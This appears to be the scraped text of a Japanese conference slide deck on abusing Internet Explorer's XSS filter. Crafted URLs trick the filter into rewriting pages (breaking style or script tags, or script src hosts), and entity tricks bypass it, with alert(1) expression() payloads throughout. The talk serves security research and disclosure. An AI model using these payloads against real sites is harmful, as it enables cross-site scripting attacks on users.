SlideShare une entreprise Scribd logo
1  sur  141
X-XSS-Nightmare: 1; mode=attack
XSSフィルターを
利用したXSS攻撃
Masato Kinugawa
自己紹介
Masato Kinugawa
自己紹介
Masato Kinugawa
x
s
自己紹介
Masato Kinugawa
x
s
B
バグハンターの愉しみ
自己紹介
話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
XSSフィルター
Internet Explorer 8から導入(2009)
Chrome/Safariにも同様の機能
IEのXSSフィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x onerror=alert(1)>
</body>
</html>
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える
遮断前
こんなふうに#
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x #nerror=alert(1)>
</body>
</html>
遮断後
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える
危険と判断される条件
特に文書化されていない
ブラウザにロードされるdllのバイナリに遮断文字列が
正規表現で書かれているのが確認できる
このスライドで紹介する正規表現はここから
XSSフィルターの不正確さ
条件にマッチすればユーザ入力の動的生成部と
無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
</head>
<body>
q param is: AAA
</body>
</html>
Nightmare: 1
style属性からのJS実行
<p style="x:expression(alert(1))">
<p style="behavior:url(script.sct)">
expression() または behavior で可能
style属性の記述法いろいろ
<p style="x=expression(alert(1))">
コロンの代わりにイコール(互換モードのみ動作)
<p style="x:expression0028alert(1)0029">
<p style="x:expression&#x28;alert(1))">
CSSのUnicodeエスケープ
数値文字参照
style属性部の
フィルターの正規表現
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
属性の区切りがきて、
style属性部の
フィルターの正規表現
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
style= がきて、
style属性部の
フィルターの正規表現
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
コロン か イコール がきて、
style属性部の
フィルターの正規表現
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
左カッコ か バックスラッシュ が
でてきたら遮断、みたいなかんじ
style属性部の
フィルターの正規表現
ここに注目
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
"style"の後に 空白相当の文字 が0文字以上
入っても遮断
[0x09-0x0D] OR
[0x20] OR / OR +
空白部分をくわしく
URL: ?/style+=:
/styleA=:
次のようなリクエストに対して
以下が出力されるとき
XSSフィルターはどう反応するか?
空白部分をくわしく
"style"と=の間に1文字
URL: ?/style+=:
/st#leA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
2文字
URL: ?/style+=:
/st#leAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
3文字
URL: ?/style+=:
/st#leAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
4文字
URL: ?/style+=:
/st#leAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
5文字
URL: ?/style+=:
/st#leAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
6文字
URL: ?/style+=:
/st#leAAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
7文字
URL: ?/style+=:
/styleAAAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
スルー
空白部分をくわしく
0文字だと
URL: ?/style+=:
/st#le=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
つまり
URL: ?/style+=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/st#leAAAA=:
/st#leAAAAA=:
/st#leAAAAAA=:
/styleAAAAAAA=:
=URLの+部分
HTML中の任意の
0-6バイトに該当
++にすると
URL: ?/style++=:
/st#leAAAAAAA=:
7文字にもマッチ
Matched!
0-6バイトの幅
u000A (6バイト)
&#x0A; (6バイト)
文字が削除された場合と置換された
場合を考慮か
この幅は文字(バイト)によって変わる
例えば / だと0-3バイト幅になる
URL: ?/style/=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/styleAAAA=:
/styleAAAAA=:
/styleAAAAAA=:
/styleAAAAAAA=:
最後のバックスラッシュ
URL: ?/style=:
/st#le=:
/st#le=:aaa
HTML中には含まれていなくても反応
style属性の正しい遮断例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="[XSS_HERE]">
</body>
</html>
URL: ?q=[XSS_HERE]
こんな場面では、
style属性の正しい遮断例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
</body>
</html>
URL: ?q="style="x:expression(alert(1))
こんなふうに攻撃できるが、
フィルターがあれば…
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""style="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
Matched!
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value=""st#le="x:expression(alert(1))">
...
URL: ?q⁼"style="x:expression(alert(1))
適切に遮断!
今度はフィルターをだます
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
URL: ?q="<>
XSSもなし
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
URL: ?q="<>
この辺に注目
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
おお?!
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
URL: ?
URL側でも
あわせていく
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
URL: ?/style
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
URL: ?/style++++++
ここは31バイト
URL中では+6個分
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
URL: ?/style++++++=++
(=は除いて)
9バイト、+2個分
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
URL: ?/style++++++=++=
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
URL: ?/style++++++=++=
Matched!
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="">
URL: ?/style++++++=++=
?!
</st#le>
What will happen?
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
本来のstyle要素の範囲
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
遮断後のstyle要素の
範囲
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*{x:expression(alert(1))}&
/style++++++=++=
こんなふうに
かくと…
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*{x:expression(alert(1))}&
/style++++++=++=
Nightmare: 2
javascript:リンクの遮断の正規表現
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
j があり、
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
タブまたは改行文字が0文字以上あり、
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
a があり、
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
タブまたは改行文字が0文字以上あり...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
というのが javascript: のコロンまで続く
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
~ 省略 ~
(t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
コロンのあとは任意の1文字
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q="[USER_INPUT]";
</script>
ユーザーが指定した文字列が格納されるとする
(※話を簡単にするために、URLのパラメータ以外
から既に受け取った文字列を出力していると考える)
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q="</script>"";
</script>
XSS対策も適切!
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
こんな文字列が攻撃者により
指定されたとする
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
さらにこんなURLへ攻撃者により
誘導されたとする
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
24バイト
URL中で[0x0A] 4個分
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
10バイト
URL中で[0x0A] 2個分
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
Matched!
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
?!
<sc#ipt>
What will happen?
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
もはやscriptタグの中ではない!
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%0Ascript%0A%0A:
Nightmare: 3
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
リテラルから抜ける文字 &
プロパティアクセスからの代入
というような形で
正しいフィルター例(文字列リテラル)
<body>
<script>
var q="";abc#def=";
</script>
</body>
URL: ?q=";abc.def=
ドットの部分を書き換えて遮断
正しいフィルター例(文字列リテラル)
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
文字列リテラル部の
フィルターの正規表現
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
Matched!
またまたフィルターをだます
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
単に外部スクリプトをロード
しているだけのコードがあるとする
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"/
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"/++
11バイト +2個分
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"/++.
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"/++.+++
16バイト +3個分
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?"/++.+++= Matched!
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
URL: ?"/++.+++=
?!
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
What will happen?
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
example.co.jp ではなく
example.co のスクリプトをロード!
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2.css">
</head>
...
<input name="q" value="[USER_INPUT]">
URL: ?q=[USER_INPUT]
CSSをロード &
ユーザーの入力を
出力しているページ
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2.css">
</head>
...
<input name="q" value="[USER_INPUT]">
URL: ?q=[USER_INPUT]&"+=+.++++=
Matched!
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2.css">
</head>
...
<input name="q" value="[USER_INPUT]">
URL: ?q=[USER_INPUT]&"+=+.++++=
?!
<link
rel="stylesheet"
href="#./1.css">
What will happen?
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2.css">
</head>
...
<input name="q" value="[USER_INPUT]">
URL: ?q=[USER_INPUT]&"+=+.++++=
自分自身をCSSとして
ロードすることになる
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2.css">
</head>
...
<input name="q" value="
{}*{x:expression(alert(1))}">
URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
こうすると…
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2.css">
</head>
...
<input name="q" value="
{}*{x:expression(alert(1))}">
URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
Nightmare: 4
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:
シンプルなXSSがあるとき、
&#x28; と書くべきところを &bx28; と書く
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
ここに何かいる!
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:
そう、vbs:とvbscript:も遮断対象
(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#
()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b|
(&[#()[].]x?0*((66)|(42)|(98)|(62));?))([t]|(&(([#()[
].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#
()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[].
]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()
[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?
0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[]
.]x?0*((82)|(52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(
9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x
?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|(
13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*
((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)
|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((8
4)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(1
0)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*((
58)|(3A));?)|(colon;)))).
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:
vbs:の部分に反応させるようURLを調整
遮断前
Bypass 1: expression()
<p style=v:expression&#x28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:
&#x28;(左カッコ)が作れた!
遮断後
Bypass 1: expression()
<p style=v:expression&#x28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0
A%0A%0A%0Ab%0A%0A%0As:
もういっちょ!
遮断前
Bypass 1: expression()
<p style=v:expression&#x28;alert&#x28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0
A%0A%0A%0Ab%0A%0A%0As:
